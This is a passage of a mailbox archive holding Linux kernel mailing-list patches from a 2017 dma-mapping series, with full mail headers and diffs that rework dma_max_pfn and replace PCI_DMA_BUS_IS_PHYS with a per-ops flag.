 1 file changed, 1 insertion(+)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index b31b974a03cb..e96adcbcab41 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -209,6 +209,7 @@ config ALPHA_EIGER
 
 config ALPHA_JENSEN
 	bool "Jensen"
+	depends on BROKEN
 	help
 	  DEC PC 150 AXP (aka Jensen): This is a very old Digital system - one
 	  of the first-generation Alpha systems. A number of these systems
-- 
2.14.2


From - Thu Nov 08 21:40:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 03/67] dma-mapping: take dma_pfn_offset into account in dma_max_pfn
Date: Fri, 29 Dec 2017 09:18:07 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20171229081911.2802-4-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535472 16214 195.159.176.226 (29 Dec 2017 08:17:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:17:52 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Dec 29 09:17:46 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eUprN-0003er-AA
	for glps-linuxsh-dev@m.gmane.org; Fri, 29 Dec 2017 09:17:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755488AbdL2ITq (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 29 Dec 2017 03:19:46 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:44289 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755034AbdL2ITm (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 29 Dec 2017 03:19:42 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=vdePqvUj61iE5s31eV5JeBeZN5vOIc09n73lsDtN5eM=; b=sYXC/8xbrowSOX76dPUBVx+RZ
        /woozOCIl6fmD/3HdHpZ6UcGQ8uNNXQWam7NITnKt6M73c8M4vo+fEzodY3KVhtTw6+NCp4QvTGG+
        vY9tfwd7CkQXqA245dxbEDH5BvTTZsd4CcPPtk1Fq0KU7JYzq55N7GOUz/vVkOYbz2cgFQ1ul4rxq
        JUJbwFw/jTSmlLIMm7qQK25RpM/Nt+TZiUOZ7IAtvBl3dqfKzLjjU3pwBLH+dhdc2hsBxGNW7bfYw
        lbrpMuodPclylsVdJcTENbzjr9yg7t1dZNArrGrGWkBMK7LaxJrMtcrM0T8lKSVMI3cdLjZ8LrnQZ
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpt4-0008LP-7J; Fri, 29 Dec 2017 08:19:30 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56036 gmane.linux.kernel.iommu:21880 gmane.linux.ports.alpha:4547 gmane.linux.kernel.arc:3168 gmane.linux.ports.arm.kernel:622893 gmane.linux.ports.hexagon:1400 gmane.linux.ports.ia64:28390 gmane.linux.kernel.metag:1474 gmane.linux.ports.mips.general:62923 gmane.linux.ports.parisc:28065 gmane.linux.ports.ppc64.devel:151497 gmane.linux.ports.sparc:27043 gmane.linux.kernel.cross-arch:40783 gmane.linux.kernel:2654209
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56036>

This makes sure the generic version can be used with architectures /
devices that have a DMA offset in the direct mapping.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 include/linux/dma-mapping.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 81ed9b2d84dc..d84951865be7 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -692,7 +692,7 @@ static inline int dma_set_seg_boundary(struct device *dev, unsigned long mask)
 #ifndef dma_max_pfn
 static inline unsigned long dma_max_pfn(struct device *dev)
 {
-	return *dev->dma_mask >> PAGE_SHIFT;
+	return (*dev->dma_mask >> PAGE_SHIFT) + dev->dma_pfn_offset;
 }
 #endif
 
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 04/67] arm64: don't override dma_max_pfn
Date: Fri, 29 Dec 2017 09:18:08 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20171229081911.2802-5-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535482 18506 195.159.176.226 (29 Dec 2017 08:18:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:18:02 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:17:56 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUprO-0003wO-TF
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:17:47 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id AD4A88A5;
	Fri, 29 Dec 2017 08:19:49 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 2E22C728
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:19:49 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id E4A40108
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:19:48 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=4cdVq1WsJPdLN8m3rv5GkH4HcAWJpLXxQfk840qmbmg=;
	b=TD6mA/LLTq9CwvnYdGlNYWVBe
	hZttMP+AQS05e/y06wjuisud3IvhRPlNr3u4NJ7/6dI/X7yeWMLWEl/ELkS+UezxOP4Of1LTD81/X
	vo42ji5jX3EcGA0J2aJjhBBHIMIdwIf3EhXYLpb0s/6nrdYlb79FVGLcEQDQp4Rh4hHrPfcCP3T3k
	JPdp6qC77S3NtLwgX4FRhuHKT+uaoEsK8K91qnKdvgKXu7VWCm2ykQs1p9qVZcsK5HOoUxpXnMbyL
	A7FHrfbhjiq4nfBZBL/FfzxDwPyR0ghaHPQIYFG/oooM8R0QdnP1TUoy5o6sY/vSIeydVg9FNU2li
	0treALUQA==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUpt8-0008OF-Pv; Fri, 29 Dec 2017 08:19:35 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21881 gmane.linux.ports.mips.general:62924 gmane.linux.ports.ia64:28391 gmane.linux.ports.sh.devel:56037 gmane.linux.ports.sparc:27044 gmane.linux.kernel.cross-arch:40784 gmane.linux.ports.hexagon:1401 gmane.linux.kernel.arc:3169 gmane.linux.kernel.metag:1475 gmane.linux.ports.arm.kernel:622894 gmane.linux.ports.parisc:28066 gmane.linux.kernel:2654210 gmane.linux.ports.alpha:4548 gmane.linux.ports.ppc64.devel:151498
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21881>

The generic version now takes dma_pfn_offset into account, so there is no
more need for an architecture override.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/arm64/include/asm/dma-mapping.h | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/arch/arm64/include/asm/dma-mapping.h b/arch/arm64/include/asm/dma-mapping.h
index 0df756b24863..eada887a93bf 100644
--- a/arch/arm64/include/asm/dma-mapping.h
+++ b/arch/arm64/include/asm/dma-mapping.h
@@ -76,14 +76,5 @@ static inline void dma_mark_clean(void *addr, size_t size)
 {
 }
 
-/* Override for dma_max_pfn() */
-static inline unsigned long dma_max_pfn(struct device *dev)
-{
-	dma_addr_t dma_max = (dma_addr_t)*dev->dma_mask;
-
-	return (ulong)dma_to_phys(dev, dma_max) >> PAGE_SHIFT;
-}
-#define dma_max_pfn(dev) dma_max_pfn(dev)
-
 #endif	/* __KERNEL__ */
 #endif	/* __ASM_DMA_MAPPING_H */
-- 
2.14.2


From - Thu Nov 08 21:40:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 05/67] dma-mapping: replace PCI_DMA_BUS_IS_PHYS with a flag in
	struct dma_map_ops
Date: Fri, 29 Dec 2017 09:18:09 +0100
Lines: 1099
Approved: news@gmane.org
Message-ID: <20171229081911.2802-6-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535483 18885 195.159.176.226 (29 Dec 2017 08:18:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:18:03 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:17:57 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUprV-0004EJ-47
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:17:53 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id DF8C0891;
	Fri, 29 Dec 2017 08:19:55 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 7FF19728
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:19:55 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 1853F405
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:19:53 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=ouAc/v7+YTwS8ik/NxngE21l85Kvh7ukpsA6evPkL28=;
	b=Oh5D4TB3AeM9RUH6NFoV8JWd8
	SQPYXrr3n8z/RhQlgQHvb2bXDo7sHerG1qdsM7uW+3gtg08RZwVTHWcHUfer2zFgxeWCIfdyJU2B/
	tdoiqMm3Xf4RraB7+jD4lXk6i1tEOY3LYGd1TvGbHsiamhO1xQzih9fNme6kuyTRv5UR7ulRIA76S
	ldzueGUD7tVWnaqF89yVro8Rg9VWit1Ip3i18pYnaGOVQilZaIbas73smA9sqc/FTKsy06uLbOkQu
	1nEF4bNjTyfJqz1AY48Jn3xqxiJoS1LdZmi+R7P2UnzKpsaClmAE0dO6x4u6Y7lD59DRNIjBOphH0
	oIi4bVX/A==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUptD-0008Ri-21; Fri, 29 Dec 2017 08:19:40 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21882 gmane.linux.ports.mips.general:62925 gmane.linux.ports.ia64:28392 gmane.linux.ports.sh.devel:56038 gmane.linux.ports.sparc:27045 gmane.linux.kernel.cross-arch:40785 gmane.linux.ports.hexagon:1402 gmane.linux.kernel.arc:3170 gmane.linux.kernel.metag:1476 gmane.linux.ports.arm.kernel:622895 gmane.linux.ports.parisc:28067 gmane.linux.kernel:2654211 gmane.linux.ports.alpha:4549 gmane.linux.ports.ppc64.devel:151499
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21882>

The current PCI_DMA_BUS_IS_PHYS decided if a dma implementation is bound
by the dma mask in the device because it directly maps to a physical
address range (modulo an offset in the device), or if it is virtualized
by an iommu and can map any address (that includes virtual iommus like
swiotlb).  The problem with this scheme is that it is per-architecture and
not per dma_ops instance, and we are growing more and more setups that
have multiple different dma operations in use on a single system, for
which this scheme can't provide a correct answer.  Depending on the
architecture that means we either get a false positive or false negative
at the moment.

This patch instead extents the is_phys flag in struct dma_map_ops that
is currently only used by a few architectures to be used tree wide.

Note that this means that we now need a struct device parent in the
Scsi_Host or netdevice.  Every modern driver has these, but there might
still be a few outdated legacy drivers out there, which now won't make
an intelligent decision.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/alpha/include/asm/pci.h          |  5 -----
 arch/alpha/kernel/pci-noop.c          |  1 +
 arch/arc/include/asm/pci.h            |  6 ------
 arch/arc/mm/dma.c                     |  1 +
 arch/arm/include/asm/pci.h            |  7 -------
 arch/arm/mm/dma-mapping-nommu.c       |  1 +
 arch/arm/mm/dma-mapping.c             |  2 ++
 arch/arm64/include/asm/pci.h          |  5 -----
 arch/blackfin/kernel/dma-mapping.c    |  2 ++
 arch/c6x/kernel/dma.c                 |  1 +
 arch/cris/arch-v32/drivers/pci/dma.c  |  1 +
 arch/cris/include/asm/pci.h           |  6 ------
 arch/frv/mb93090-mb00/pci-dma-nommu.c |  1 +
 arch/frv/mb93090-mb00/pci-dma.c       |  1 +
 arch/h8300/include/asm/pci.h          |  2 --
 arch/h8300/kernel/dma.c               |  1 +
 arch/hexagon/kernel/dma.c             |  2 +-
 arch/ia64/hp/common/sba_iommu.c       |  3 ---
 arch/ia64/include/asm/pci.h           | 17 -----------------
 arch/ia64/kernel/setup.c              | 12 ------------
 arch/ia64/sn/kernel/io_common.c       |  5 -----
 arch/m68k/include/asm/pci.h           |  6 ------
 arch/m68k/kernel/dma.c                |  1 +
 arch/metag/kernel/dma.c               |  1 +
 arch/microblaze/include/asm/pci.h     |  6 ------
 arch/microblaze/kernel/dma.c          |  1 +
 arch/mips/include/asm/pci.h           |  7 -------
 arch/mips/mm/dma-default.c            |  1 +
 arch/mn10300/include/asm/pci.h        |  6 ------
 arch/mn10300/mm/dma-alloc.c           |  1 +
 arch/nios2/mm/dma-mapping.c           |  1 +
 arch/openrisc/kernel/dma.c            |  1 +
 arch/parisc/include/asm/pci.h         | 23 -----------------------
 arch/parisc/kernel/pci-dma.c          |  2 ++
 arch/parisc/kernel/setup.c            |  5 -----
 arch/powerpc/include/asm/pci.h        | 18 ------------------
 arch/powerpc/kernel/dma.c             |  1 +
 arch/riscv/include/asm/pci.h          |  3 ---
 arch/s390/include/asm/pci.h           |  2 --
 arch/s390/pci/pci_dma.c               |  3 ---
 arch/sh/include/asm/pci.h             |  6 ------
 arch/sh/kernel/dma-nommu.c            |  2 +-
 arch/sparc/include/asm/pci_32.h       |  4 ----
 arch/sparc/include/asm/pci_64.h       |  6 ------
 arch/sparc/kernel/ioport.c            |  1 +
 arch/tile/include/asm/pci.h           | 14 --------------
 arch/tile/kernel/pci-dma.c            |  2 ++
 arch/x86/include/asm/pci.h            |  2 --
 arch/x86/kernel/pci-nommu.c           |  2 +-
 arch/xtensa/include/asm/pci.h         |  7 -------
 arch/xtensa/kernel/pci-dma.c          |  1 +
 drivers/ide/ide-lib.c                 |  5 ++---
 drivers/ide/ide-probe.c               |  2 +-
 drivers/parisc/ccio-dma.c             |  2 --
 drivers/parisc/sba_iommu.c            |  2 --
 drivers/pci/host/vmd.c                |  1 +
 drivers/scsi/scsi_lib.c               | 14 ++++++--------
 include/asm-generic/pci.h             |  8 --------
 include/linux/dma-mapping.h           | 23 ++++++++++++++++++++++-
 lib/dma-noop.c                        |  1 +
 net/core/dev.c                        | 18 ++++++++----------
 tools/virtio/linux/dma-mapping.h      |  2 --
 62 files changed, 70 insertions(+), 226 deletions(-)

diff --git a/arch/alpha/include/asm/pci.h b/arch/alpha/include/asm/pci.h
index b9ec55351924..cf6bc1e64d66 100644
--- a/arch/alpha/include/asm/pci.h
+++ b/arch/alpha/include/asm/pci.h
@@ -56,11 +56,6 @@ struct pci_controller {
 
 /* IOMMU controls.  */
 
-/* The PCI address space does not equal the physical memory address space.
-   The networking and block device layers use this boolean for bounce buffer
-   decisions.  */
